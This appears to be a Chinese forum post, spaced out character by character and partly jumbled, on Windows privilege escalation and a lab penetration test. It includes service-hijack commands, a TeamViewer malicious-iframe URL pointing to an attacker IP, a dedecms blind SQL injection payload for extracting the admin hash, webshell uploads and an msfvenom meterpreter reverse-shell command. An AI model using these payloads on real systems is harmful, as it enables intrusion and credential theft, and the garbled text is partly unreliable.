， 而 P r i n t S p o o f e r 就 是 这 样 的 一 款 开 源 工 具 ， 如 w m i c s e r v i c e   g e t   n a m e , d i s p l a y n a m e , p a t h n a m e , s t a r t m o d e   | f i n d s t r   / i   " A u t o " | f i n d s t r   / i   / v   " C : W i n d o w s "   | f i n d s t r   / i   / v   " " " s c   c o n f i g   " m y t e s t "   b i n p a t h =   “ C : c c c . e x e ” s c   s t a r t   " m y t e s t "
下 图 所 示 ： 或 者 当 前 拥 有 S e A s s i g n P r i m a r y T o k e n P r i v i l e g e 特 权 时 ， 就 可 以 调 用 C r e a t e P r o c e s s A s U s e r ( ) ， 也 同 样 有 上 述 效 果 。 4 . 1 0   G P P 组 策 略 首 选 项 组 策 略 首 选 项 S Y S V O L 是 指 存 储 域 公 共 文 件 服 务 器 副 本 的 共 享 文 件 夹 ， 它 们 在 域 中 所 有 的 域 控 制 器 之 间 复 制 。 S y s v o l 文 件 夹 是 安 装 A D 时 创 建 的 ， 它 用 来 存 放 G P O 、 S c r i p t 等 信 息 。 同 时 ， 存 放 在 S y s v o l 文 件 夹 中 的 信 息 ， 会 复 制 到 域 中 所 有 D C 上 。 所 有 域 组 策 略 都 存 储 在 这 里 ： < D O M A I N > S Y S V O L < D O M A I N > P o l i c i e s ， S Y S V O L 是 所 有 经 过 身 份 验 证 的 用 户 具 有 读 访 问 权 限 的 A c t i v e D i r e c t o r y 中 的 域 范 围 共 享 。 每 台 W i n d o w s 主 机 有 一 个 内 置 的 A d m i n i s t r a t o r 账 户 以 及 相 关 联 的 密 码 。 输 入 g p m c . m s c 打 开 组 策 略 管 理 ， 然 后 新 建 组 策 略 对 象 : 将 域 中 本 地 计 算 机 的 用 户 名 重 命 名 ， 并 重 新 设 置 密 码 : 访 问 ： t e s t . c o m S Y S V O L t e s t . c o m P o l i c i e s { F F 1 1 D 4 8 5 - D 5 D A - 4 8 B C - 9 F 6 E - 7 9 0 B 3 A 5 5 D 3 B 2 } M a c h i n e P r e f e r e n c e s G r o u p s G r o u p s . x m l 当 创 建 新 的 G P P 时 ， 在 S Y S V O L 中 创 建 了 一 个 与 相 关 配 置 数 据 相 关 联 的 X M L 文 件 ， 如 果 提 供 了 密 码 ， 那 么 A E S - 2 5 6 位 加 密 应 该 足 够 强 的 。 5 五 、 第 三 方 软 件 提 权 五 、 第 三 方 软 件 提 权 5 . 1   T e a m v i e w C V E - 2 0 1 9 - 1 8 9 8 8 T e a m V i e w e r 特 权 提 升 漏 洞 分 析 通 过 1 4 . 7 . 1 9 6 5 的 T e a m V i e w e r D e s k t o p ， 可 以 绕 过 远 程 登 录 访 问 控 制 ， 因 为 同 一 密 钥 用 于 不 同 客 户 的 安 装 。 至 少 从 v 7 . 0 . 4 3 1 4 8 起 ， 它 就 在 所 有 安 装 中 都 使 用 了 共 享 的 A E S 密 钥 ， 并 且 在 该 产 品 的 当 前 版 本 中 至 少 将 其 用 于 O p t i o n s P a s s w o r d A E S 。 如 果 攻 击 者 知 道 此 密 钥 ， 则 他 们 可 以 解 密 存 储 在 T e a m V i e w e r 注 册 表 或 配 置 文 件 中 的 保 护 信 息 。 在 v 9 . x 之 前 的 版 本 中 ， 这 使 攻 击 者 可 以 解 密 系 统 的 无 人 参 与 访 问 密 码 （ 这 允 许 远 程 登 录 系 统 以 及 浏 览 无 头 文 件 ） 。 最 新 版 本 的 O p t i o n P a s s w o r d A E S 仍 使 用 相 同 的 密 钥 ， 但 似 乎 已 更 改 了 无 人 参 与 访 问 密 码 的 存 储 方 式 。 以 下 两 个 链 接 师 傅 复 现 和 分 析 得 很 详 细 （ 膜 : h t t p s : / / h a c k e r g u . c o m / c v e - 2 0 1 9 - 1 8 9 8 8 - t e a m v i e w e r - d e c r y p t t e a m v i e w e r / h t t p s : / / w w w . 4 h o u . c o m / p o s t s / L 5 K X C V E - 2 0 2 0 - 1 3 6 9 9 T e a m V i e w e r 存 在 未 引 用 的 搜 索 路 径 或 元 素 的 安 全 缺 陷 ， 更 具 体 地 说 ， 这 是 由 于 应 用 程 序 没 有 正 确 引 用 它 的 自 定 义 U R I 处 理 程 序 ， 当 安 装 了 T e a m V i e w e r 的 易 受 攻 击 版 本 的 系 统 访 问 恶 意 创 建 的 网 站 时 ， 可 能 会 被 利 用 。 攻 击 者 可 以 使 用 精 心 制 作 的 U R L （ i f r a m e s r c = ' t e a m v i e w e r 1 0 : - - p l a y a t t a c k e r - I P s h a r e f a k e . t v s ' ） 将 恶 意 i f r a m e 嵌 入 网 站 中 ， 这 将 启 动 T e a m V i e w e r W i n d o w s 桌 面 客 户 端 并 强 制 其 执 行 以 下 操 作 ： 打 开 远 程 S M B 共 享 。 W i n d o w s 在 打 开 S M B 共 享 时 将 执 行 N T L M 身 份 验 证 ， 并 且 可 以 将 请 求 进 行 转 发 （ 使 用 诸 如 响 应 程 序 之 类 的 工 具 ） 以 执 行 代 码 （ 或 捕 获 以 进 行 哈 希 破 解 ） 。 5 . 2   F i l e Z i l l a F i l e Z i l l a 是 一 个 f t p 服 务 器 ， 启 动 时 默 认 时 S Y S T E M 权 限 ， 假 如 相 关 目 录 权 限 配 置 不 严 ， 可 以 在 x m l 文 件 中 读 取 到 s e r v e r 的 密 码 ， 得 到 密 码 后 登 录 s e r v e r 再 对 s e t c h . e x e 进 行 替 换 ， 从 而 实 现 s h i f t 粘 滞 键 后 门 . 七 、 靶 场 实 践 七 、 靶 场 实 践 下 面 我 们 靶 场 的 拓 扑 图 ： 7 . 1 子 域 名 收 集 子 域 名 收 集 我 们 可 以 通 过 主 域 名 发 t e s t 1 2 3 . c o m 收 集 更 多 的 域 名 ， 从 而 获 得 更 多 的 目 标 。 子 域 名 收 集 的 工 具 很 多 l a y e r 、 s u b D o m a i n B r u t e ， 这 里 使 用 k a l i 自 带 的 w f u z z 收 集 子 域 名 ， 以 下 为 开 源 地
址 h t t p s : / / g i t h u b . c o m / x m e n d e z / w f u z z - H 指 定 U s e r A g e n t ， F U Z Z 的 位 置 在 h o s t 里 ， 原 因 是 H o s t   请 求 头 决 定 访 问 哪 个 虚 拟 主 机 - - h w 以 指 定 的 返 字 数 作 为 判 断 条 件 隐 藏 返 回 结 果 得 到 以 下 三 个 域 名 ： w w w . t e s t 1 2 3 . c o m n e t . t e s t 1 2 3 . c o m c m s . t e s t 1 2 3 . c o m 然 后 通 过 n s l o o k u p 查 询 域 名 对 应 的 i p （ 没 c d n 的 情 况 下 ） ： ： N s l o o k u p w w w . t e s t 1 2 3 . c o m 7 . 2 主 机 发 现 主 机 发 现 先 进 行 主 机 发 现 ， 方 法 有 许 多 ， 分 别 是 基 于 层 面 和 工 具 上 的 不 同 ： 1 、 使 用 n e t d i s c o v e r s u d o n e t d i s c o v e r   - i   e t h 0   - r   1 9 2 . 1 6 8 . 2 0 2 . 0 / 2 4 专 用 的 二 层 发 现 工 具 。 拥 有 主 动 和 被 动 发 现 两 种 方 式 。 常 用 参 数 : - i ： 网 卡 选 择 你 监 控 的 网 卡 。 比 如 e t h 0 - r ： r a n g e 指 定 I P 段 。 比 如 1 9 2 . 1 6 8 . 0 . 0 / 2 4 - l ： f i l e n a m e 从 文 件 读 取 r a n g e 列 表 - p 被 动 模 式 。 默 默 的 侦 听 指 定 的 网 卡 以 发 现 别 的 二 层 主 机 - t A R P 包 发 送 间 隔 。 单 位 毫 秒 。 这 个 可 以 用 来 规 避 检 测 系 统 的 告 警 。 - c 发 包 数 量 2 、 使 用 、 使 用 n m a p n m a p - v   - s P   1 9 2 . 1 6 8 . 2 0 2 . 0 / 2 4 以 上 参 数 ： - s P 、 I C M P 扫 描 ： 类 似 于 p i n g 检 测 ， 快 速 判 断 目 标 主 机 是 否 存 活 ， 不 做 其 他 扫 描 3 、 使 用 系 统 自 带 p i n g ( 速 度 稍 慢 ) f o r / L   % I   i n   ( 1 , 1 , 2 5 6 )   D O   @ p i n g   - w   1   - l   1   1 9 2 . 1 6 8 . 2 0 2 . % I   |   f i n d s t r   “ T T L = ” f p i n g - g   1 0 . 1 0 . 1 0 . 0 / 2 4 7 . 3 端 口 扫 描 端 口 扫 描 对 所 发 现 的 主 机 进 行 端 口 扫 描 ， 同 样 也 有 不 同 工 具 来 进 行 端 口 扫 描 ： n m a p   - s S   - p   1 - 6 5 5 3 5   - v   1 9 2 . 1 6 8 . 2 0 2 . 1 8 2 以 上 参 数 ： - P         指 定 端 口 扫 描         - V         详 细 信 息                 - s S 、 T C P S Y N 扫 描 （ 半 开 扫 描 ） ： 只 向 目 标 发 出 S Y N 数 据 包 ， 如 果 收 到 S Y N / A C K 响 应 包 就 认 为 目 标 端 口 正 在 监 听 ， 并 立 即 断 开 连 接 ； 否 则 认 为 目 标 端 口 并 未 开 放 。 - s T 、 T C P 连 接 扫 描 ： 这 是 完 整 的 T C P 扫 描 方 式 ， 用 来 建 立 一 个 T C P 连 接 ， 如 果 成 功 则 认 为 目 标 端 口 正 在 监 听 服 务 ， 否 则 认 为 目 标 端 口 并 未 开 放 。 - s F 、 T C P F I N 扫 描 ： 开 放 的 端 口 会 忽 略 这 种 数 据 包 ， 关 闭 的 端 口 会 回 应 R S T 数 据 包 。 许 多 防 火 墙 只 对 S Y N 数 据 包 进 行 简 单 过 滤 ， 而 忽 略 了 其 他 形 式 的 T C P 攻 击 包 。 这 种 类 型 的 扫 描 可 间 接 检 测 防 火 墙 的 健 壮 性 。 - s U 、 U D P 扫 描 ： 探 测 目 标 主 机 提 供 哪 些 U D P 服 务 ， U D P 扫 描 的 速 度 会 比 较 慢 。 s u d o   m a s s c a n   - p   1 - 6 5 5 3 5   1 9 2 . 1 6 8 . 2 0 2 . 1 8 2 - - r a t e = 1 0 0 0 常 用 参 数 ： - p < p o r t s , - - p o r t s   < p o r t s > >   指 定 端 口 进 行 扫 描 - - b a n n e r s 获 取 b a n n e r 信 息 ， 支 持 少 量 的 协 议 - - r a t e < p a c k e t s - p e r - s e c o n d >   指 定 发 包 的 速 率 ， 默 认 的 速 率 是 1 0 0 包 / 秒 识 别 对 应 的 端 口 - s C ： 等 价 于 – s c r i p t = d e f a u l t ， 使 用 默 认 类 别 的 脚 本 进 行 扫 描 可 更 换 其 他 类 别 - A 综 合 扫 描 ， 包 含 1 - 1 0 0 0 0 的 端 口 p i n g 扫 描 ， 操 作 系 统 扫 描 ， 脚 本 扫 描 ， 路 由 跟 踪 ， 服 务 探 测 w f u z z   - w   / u s r / s h a r e / a m a s s / w o r d l i s t s / s u b d o m a i n s - t o p 1 m i l - 5 0 0 0 . t x t   - u w w w . t e s t 1 2 3 . c o m   - H   " H o s t : F U Z Z . t e s t 1 2 3 . c o m "   - - h w   5 3 n m a p - s C   - A   1 9 2 . 1 6 8 . 2 0 2 . 1 8 2   - p   8 0 , 5 3 , 4 9 1 5 4 , 6 5 8 8 , 3 3 8 9 , 1 3 5 , 2 1 , 5 1 4 6 4 , 9 9 9
可 见 有 3 个 h t t p 服 务 的 端 口 打 开 ， w e b 服 务 器 为 I I S 7 . 5 ， 分 别 对 其 进 行 访 问 ： 7 . 4   w e b 漏 洞 测 试 漏 洞 测 试 第 一 个 域 名 ： c m s . t e s t 1 2 3 . c o m ， 很 明 显 是 d e d e c m s ， h t t p : / / c m s . t e s t 1 2 3 . c o m / d a t a / a d m i n / v e r . t x t 先 确 定 版 本 号 ： 再 确 定 是 否 能 注 册 ， 并 查 找 该 版 本 存 在 相 关 注 入 漏 洞 （ 相 关 漏 洞 原 理 后 面 会 再 详 写 ） ， 进 行 漏 洞 利 用 得 到 管 理 员 密 码 h a s h : 该 漏 洞 是 由 于 由 于 d e d e c m s 使 用 伪 全 局 变 量 原 因 ， 可 导 致 用 户 构 造 任 意 的 s q l 语 句 ， 造 成 注 入 。 相 关 p a y l o a d 使 用 时 间 盲 注 查 询 a m d i n 密 码 ： s = t a r g e t + " / m e m b e r 详 细 漏 洞 分 析 可 参 考 ： D e d e c m s 2 0 1 5 0 6 1 8   注 入   · M a n n i n g 2 3 密 码 破 解 得 a d m i n 7 7 8 8 ， 然 后 登 上 后 台 ， 上 传 一 句 话 并 连 接 : 可 见 一 句 话 木 马 权 限 不 够 ， 传 上 a s p 大 马 ， 再 执 行 相 关 命 令 ： 使 用 m s f 工 具 集 生 成 相 关 后 门 ， ， 并 设 置 监 听 ： / m t y p e s . p h p ? d o p o s t = s a v e & _ F I L E S [ m t y p e n a m e ] [ n a m e ] = . x x x x & _ F I L E S [ m t y p e n a m e ] [ t y p e ] = x x x x x & _ F I L E S [ m t y p e n a m e ] [ t m p _ n a m e ] [ a ' % 2 0 a n d % 2 0 ` ' ` . ` ` . m t y p e i d % 2 0 o r % 2 0 i f ( a s c i i ( s u b s t r ( ( s e l e c t % 2 0 p w d % 2 0 f r o m % 2 0 d e d e _ a d m i n % 2 0 l i m i t % 2 0 1 ) , " + s 1 + " , 1 ) ) % 3 d " + s 2 + " , s l e e p ( 4 ) , 0 ) % 2 0 a n d % 2 0 m t y p e i d % 3 d 1 % 2 3 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p   l h o s t = 1 9 2 . 1 6 8 . 2 0 2 . 1 8 0   l p o r t = 3 3 4 4 4 - f   e x e   - o   h 3 3 4 4 4 . e x e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理